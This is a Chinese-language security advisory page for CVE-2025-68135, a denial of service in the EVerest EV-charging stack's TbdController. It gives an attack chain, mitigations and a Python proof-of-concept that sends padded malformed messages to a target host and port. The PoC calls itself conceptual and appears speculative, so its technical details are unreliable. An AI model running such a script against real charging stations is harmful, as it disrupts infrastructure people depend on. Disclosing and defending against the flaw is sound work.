IPBUF安全漏洞报告
English
CVE-2025-68135 CVSS 6.5 中危

CVE-2025-68135 EVerest TbdController异常处理不当导致拒绝服务

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-68135
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest

相关标签

拒绝服务异常处理EVerest电动汽车充电SDPISO15118-20C++TbdControllerCVE-2025-68135

漏洞概述

EVerest是一个开源的电动汽车充电软件栈。2025.10.0之前的版本存在C++异常处理缺陷,TbdController循环中的异常无法被正确捕获和处理,导致调用方和TbdController本身静默终止。由于TbdController负责SDP(服务发现协议)和ISO15118-20服务器的管理,其终止将直接导致这些关键服务不可用,从而造成拒绝服务(DoS)攻击。此漏洞无需认证即可利用,攻击复杂度低,攻击者可利用此漏洞使EV充电站的关键通信服务瘫痪,影响电动汽车充电基础设施的可用性。攻击向量为邻接网络,攻击者需处于与目标充电站相同的网络环境中(如充电站局域网)。

技术细节

漏洞根源在于EVerest框架中TbdController组件的异常处理机制缺失。在C++中,如果循环内的代码抛出异常且未被捕获,程序将直接终止。TbdController作为核心控制器,负责维护SDP和ISO15118-20协议栈的运行状态。当控制器循环遇到未处理的C++异常时,会导致整个控制器线程异常退出,而调用者线程由于缺乏适当的异常处理逻辑,也会随之终止。由于SDP服务器负责电动汽车与充电站之间的服务发现通信,ISO15118-20服务器负责基于IP的充电协议握手,这两个服务的缺失将使电动汽车无法完成充电认证流程,最终导致充电服务完全不可用。攻击者只需向目标充电站发送特制的协议消息,触发TbdController中的异常条件即可实现DoS攻击。

攻击链分析

STEP 1
步骤1
攻击者获得与目标EVerest充电站邻接网络的访问权限
STEP 2
步骤2
攻击者分析充电站的SDP和ISO15118-20协议实现,识别可触发C++异常的输入条件
STEP 3
步骤3
攻击者构造包含畸形数据的协议消息(如超长字段、非法类型值、格式错误的数据包)
STEP 4
步骤4
将畸形消息发送至充电站的TbdController组件,触发未捕获的C++异常
STEP 5
步骤5
TbdController因异常而静默终止,导致SDP和ISO15118-20服务器不可用
STEP 6
步骤6
电动汽车无法与服务端建立充电通信,导致充电服务拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68135 PoC - EVerest TbdController DoS Note: This is a conceptual PoC. Actual exploitation requires: 1. Network access to the EV charging station (AV:A) 2. Understanding of SDP/ISO15118-20 protocol implementation 3. Crafting messages that trigger C++ exceptions in TbdController This PoC demonstrates the attack concept for educational purposes only. """ import socket import struct import time def create_malformed_sdp_message(): """ Create a malformed SDP message to trigger exception in TbdController SDP ServiceDiscovery protocol message structure """ # SDP message header msg_type = 0x01 # Service Request transaction_id = 0x1234 # Craft malformed payload that may trigger C++ exception # (e.g., null pointer dereference, buffer overflow, type confusion) malformed_payload = b'\x00' * 1000 + b'\xFF\xFF\xFF\xFF' sdp_message = struct.pack('>HH', transaction_id, len(malformed_payload)) sdp_message += msg_type.to_bytes(1, 'big') sdp_message += malformed_payload return sdp_message def send_exploit(target_ip, target_port=8080): """ Send exploit payload to target EVerest charging station """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send malformed SDP message payload = create_malformed_sdp_message() sock.send(payload) print(f"[+] Malformed SDP message sent to {target_ip}:{target_port}") print(f"[+] Payload length: {len(payload)} bytes") # Wait and check if service is still responsive time.sleep(2) sock.send(b'\x00\x01') # Simple heartbeat check response = sock.recv(1024) if not response: print("[-] Target service appears to be down - DoS successful") else: print("[+] Target still responsive") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 send_exploit(target, port)

影响范围

EVerest everest-core < 2025.10.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 在网络层面限制对充电站管理接口的访问,仅允许受信任的设备通信;2) 部署入侵检测系统监控异常的协议交互行为;3) 对SDP和ISO15118-20通信流量进行深度包检测,过滤畸形数据包;4) 实施网络分段策略,将充电站控制网络与外部网络隔离;5) 定期监控服务可用性,设置告警以便在服务中断时及时响应。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表